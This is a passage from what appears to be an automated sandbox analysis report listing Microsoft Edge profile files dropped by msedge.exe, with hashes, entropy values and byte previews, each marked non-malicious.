Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10261620013392456
Encrypted:	false
SSDEEP:	12:+ziOwziOPBspEjVl/PnnnnnnnnnnnvoQ/Eou:+9w9PCoPnnnnnnnnnnnv1j
MD5:	3E44502AAF8F077537818CECEE14BF8D
SHA1:	C9ECB5AFA96543EE00964649CDD3D8287411343C
SHA-256:	B3E6F517067AE4B1F12380F8F0556C033794F8E2DBEC20A283455C91D1136C68
SHA-512:	415CA44372602DADD20B6DEC779CF824BAF5AD82DBDD56FF2A200B0E1CDA3EBE5F60EF55BDCF0DE3085929098EB555F7EF1C27123CC21F2F6E0F5AB39D22A4D4
Malicious:	false
Preview:	..-.............M.......g.U?@.p.....[;.~m...o;..-.............M.......g.U?@.p.....[;.~m...o;........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8914118172111826
Encrypted:	false
SSDEEP:	384:7ydQw+jP6toYIslC4J/eNJHfR1WPv891y8y+XyQyjnyXxykW:Hi
MD5:	5F2CC907417AE75C5EE410FE470F74B7
SHA1:	859C931A88B305EDF09F2CFC6E1080762CCAD8F1
SHA-256:	DE821E706D23C60C392DC3859F70EA47D572AFEF65AC4ED631F252673109D475
SHA-512:	3F9ABC91D878E74E09FA2F790E462867A9C5EC95F02334C388799E59E7E1933DE70DAF02A9FABF3099630F29264508AFD57B8F1BE3C7A03D8AD99786D7D68DA0
Malicious:	false
Preview:	7....-..........p.....[;.....G..........p.....[;.!vB..xSQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2042
Entropy (8bit):	5.427889325734656
Encrypted:	false
SSDEEP:	48:cg6R8xSBSeQ7tPItHRHCx9KIYjIY2zmqkgKMYjMYFyhAlkfAlkr3Lo/flH:P6/0eQ7eIYjIY2zmbTMYjMYGYcYK3Lop
MD5:	826E19783BAEE3754EFA3F89913B823A
SHA1:	0155EEB77928A8F3F35C83D05838A9F27CAD7F87
SHA-256:	512B2DBC1937835E6A2DCB2CCA25442450EDFE43CC75A6E6FBFA3FB0B2E31954
SHA-512:	10C13BB8EE003939E12540DAB6CABEB4A2474CE0FC4DD1E94E4B7358FCF77DB3548A4ECA46BADAEA567B9D247ECF347871619520BB2F3833B07FC05413006792
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1E.B.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................\6;...............#38_h.......6.Z..W.F......, ......, ..........V.e................Gr..P................4_IPH_msFeedbackRating...IPH_msFeedbackRating......4_IPH_CompanionSidePanel...IPH_CompanionSidePanel.....$4_IPH_CompanionSidePanelRegionSearch(."IPH_CompanionSidePanelRegionSearch......4_IPH_DownloadToolbarButton...IPH_DownloadToolbarButton.....&4_IPH_FocusHelpBubbleScreenReaderPromo*.$IPH_FocusHelpBubbleScreenReaderPromo......4_IPH_GMCCastStartStop...IPH_GMCCastStartStop....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.216419485411796
Encrypted:	false
SSDEEP:	6:iOw5zAN+q2Pv23oH+TcwtfrK+IFUtq5zAZZmwc5zANVkwOv23oH+TcwtfrUeLJ:7wS+v2Yeb23FUtqW/cSV5bYeb3J
MD5:	7F88DA48E5678E9E1A7CEB4B811B33DB
SHA1:	1C62042133634F68430ADC02FA4FF73F0940207F
SHA-256:	BB5595A6DBE3BDD8F73DF32A744929F873C17CBD78966E46925974B2B2792C9A
SHA-512:	DF92C9113D715E4AB522D5FECB22FB25CFB986CE9C8A03E03B8A2252F9280D046832DBD6FBA149721E1943104F57FD1A14AEF9A3250CEBD6A30576023055AE38
Malicious:	false
Preview:	2025/01/23-14:40:09.414 6bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/01/23-14:40:09.414 6bc Recovering log #3.2025/01/23-14:40:09.414 6bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.216419485411796
Encrypted:	false
SSDEEP:	6:iOw5zAN+q2Pv23oH+TcwtfrK+IFUtq5zAZZmwc5zANVkwOv23oH+TcwtfrUeLJ:7wS+v2Yeb23FUtqW/cSV5bYeb3J
MD5:	7F88DA48E5678E9E1A7CEB4B811B33DB
SHA1:	1C62042133634F68430ADC02FA4FF73F0940207F
SHA-256:	BB5595A6DBE3BDD8F73DF32A744929F873C17CBD78966E46925974B2B2792C9A
SHA-512:	DF92C9113D715E4AB522D5FECB22FB25CFB986CE9C8A03E03B8A2252F9280D046832DBD6FBA149721E1943104F57FD1A14AEF9A3250CEBD6A30576023055AE38
Malicious:	false
Preview:	2025/01/23-14:40:09.414 6bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/01/23-14:40:09.414 6bc Recovering log #3.2025/01/23-14:40:09.414 6bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	865
Entropy (8bit):	4.046212061862141
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBH2Vtgs2W:G0nYUtypD3RUovhC+lvBOL+t3IvBmtFn
MD5:	CC7FC366FEE21379F07DD9BA0CACDB88
SHA1:	05BE9EE7B4F6D4C8B80EFCB9D2BA5D62AC6845AC
SHA-256:	2216EC3A08EA86589477A650BC1635373F651975CF50CE69FA72712B0B9CB0EC
SHA-512:	367317234A2D0297F28ADD76504F5FBA5396EAE19F831406B3324FE01D04A714C19AB1FEC2D3503E2B4B80536647F188E7E5A511F41888407D32D1AD660F4E50
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ..)9..................3_........r.................4_......r...................3_.....L.(t.................4_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.229300315362835
Encrypted:	false
SSDEEP:	6:iOw5zv2Hi+q2Pv23oH+TcwtfrzAdIFUtq5zIVZmwc5zIHy3VkwOv23oH+Tcwtfrm:7w92C+v2Yeb9FUtq+V/c+HOV5bYeb2J
MD5:	9FB803388B5F03D5CA5503A2069FE87C
SHA1:	00E3D2AEA6A521E62CE182A472D0A310FDBEC3D8
SHA-256:	0B4673F4CD8181C261E901DD87503792EF07D8735F0327DAFB26A370AA3A8873
SHA-512:	02A461EB7A2339109A8AB5A1C7B19B4EAC103C05C9D98E83EB3A9FC7A81B0B309DAB27E0C70061EC4F0CE4B15E6922F53DC81FF4ADC1AC48960E28186FF71756
Malicious:	false
Preview:	2025/01/23-14:40:09.394 6bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/01/23-14:40:09.407 6bc Recovering log #3.2025/01/23-14:40:09.408 6bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.229300315362835
Encrypted:	false
SSDEEP:	6:iOw5zv2Hi+q2Pv23oH+TcwtfrzAdIFUtq5zIVZmwc5zIHy3VkwOv23oH+Tcwtfrm:7w92C+v2Yeb9FUtq+V/c+HOV5bYeb2J
MD5:	9FB803388B5F03D5CA5503A2069FE87C
SHA1:	00E3D2AEA6A521E62CE182A472D0A310FDBEC3D8
SHA-256:	0B4673F4CD8181C261E901DD87503792EF07D8735F0327DAFB26A370AA3A8873
SHA-512:	02A461EB7A2339109A8AB5A1C7B19B4EAC103C05C9D98E83EB3A9FC7A81B0B309DAB27E0C70061EC4F0CE4B15E6922F53DC81FF4ADC1AC48960E28186FF71756
Malicious:	false
Preview:	2025/01/23-14:40:09.394 6bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/01/23-14:40:09.407 6bc Recovering log #3.2025/01/23-14:40:09.408 6bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45143
Entropy (8bit):	6.091622231642866
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgDaU/zD81t1z/S1iEzfaHKcNqXBSs5mPVMJpC9oTV:z/Ps+wsI7ynRt1z3KKqxSs0P6koTV
MD5:	3B53CF440A871F79E04CCEBE9299A64B
SHA1:	A926AB0687EDD1E6E5223793B1AD36E3DE62E048
SHA-256:	A7217177E33834EC2354CC80AE7DAA0CA01B2A9ECDB8022B4CC7EBDF90E86003
SHA-512:	8A39128758D2F0E400623ABE165C74DB631E98F0FB05A432355B3EAC50FA87571D7EDE50A816177B17E66119E0FBDC001B48B962CF58B107F22501334EF7D580
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF46415.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45143
Entropy (8bit):	6.091622231642866
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgDaU/zD81t1z/S1iEzfaHKcNqXBSs5mPVMJpC9oTV:z/Ps+wsI7ynRt1z3KKqxSs0P6koTV
MD5:	3B53CF440A871F79E04CCEBE9299A64B
SHA1:	A926AB0687EDD1E6E5223793B1AD36E3DE62E048
SHA-256:	A7217177E33834EC2354CC80AE7DAA0CA01B2A9ECDB8022B4CC7EBDF90E86003
SHA-512:	8A39128758D2F0E400623ABE165C74DB631E98F0FB05A432355B3EAC50FA87571D7EDE50A816177B17E66119E0FBDC001B48B962CF58B107F22501334EF7D580
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF46463.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45143
Entropy (8bit):	6.091622231642866
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgDaU/zD81t1z/S1iEzfaHKcNqXBSs5mPVMJpC9oTV:z/Ps+wsI7ynRt1z3KKqxSs0P6koTV
MD5:	3B53CF440A871F79E04CCEBE9299A64B
SHA1:	A926AB0687EDD1E6E5223793B1AD36E3DE62E048
SHA-256:	A7217177E33834EC2354CC80AE7DAA0CA01B2A9ECDB8022B4CC7EBDF90E86003
SHA-512:	8A39128758D2F0E400623ABE165C74DB631E98F0FB05A432355B3EAC50FA87571D7EDE50A816177B17E66119E0FBDC001B48B962CF58B107F22501334EF7D580
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF46677.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45143
Entropy (8bit):	6.091622231642866
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgDaU/zD81t1z/S1iEzfaHKcNqXBSs5mPVMJpC9oTV:z/Ps+wsI7ynRt1z3KKqxSs0P6koTV
MD5:	3B53CF440A871F79E04CCEBE9299A64B
SHA1:	A926AB0687EDD1E6E5223793B1AD36E3DE62E048
SHA-256:	A7217177E33834EC2354CC80AE7DAA0CA01B2A9ECDB8022B4CC7EBDF90E86003
SHA-512:	8A39128758D2F0E400623ABE165C74DB631E98F0FB05A432355B3EAC50FA87571D7EDE50A816177B17E66119E0FBDC001B48B962CF58B107F22501334EF7D580
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48cdb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45143
Entropy (8bit):	6.091622231642866
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgDaU/zD81t1z/S1iEzfaHKcNqXBSs5mPVMJpC9oTV:z/Ps+wsI7ynRt1z3KKqxSs0P6koTV
MD5:	3B53CF440A871F79E04CCEBE9299A64B
SHA1:	A926AB0687EDD1E6E5223793B1AD36E3DE62E048
SHA-256:	A7217177E33834EC2354CC80AE7DAA0CA01B2A9ECDB8022B4CC7EBDF90E86003
SHA-512:	8A39128758D2F0E400623ABE165C74DB631E98F0FB05A432355B3EAC50FA87571D7EDE50A816177B17E66119E0FBDC001B48B962CF58B107F22501334EF7D580
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4bdde.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45143
Entropy (8bit):	6.091622231642866
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgDaU/zD81t1z/S1iEzfaHKcNqXBSs5mPVMJpC9oTV:z/Ps+wsI7ynRt1z3KKqxSs0P6koTV
MD5:	3B53CF440A871F79E04CCEBE9299A64B
SHA1:	A926AB0687EDD1E6E5223793B1AD36E3DE62E048
SHA-256:	A7217177E33834EC2354CC80AE7DAA0CA01B2A9ECDB8022B4CC7EBDF90E86003
SHA-512:	8A39128758D2F0E400623ABE165C74DB631E98F0FB05A432355B3EAC50FA87571D7EDE50A816177B17E66119E0FBDC001B48B962CF58B107F22501334EF7D580
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

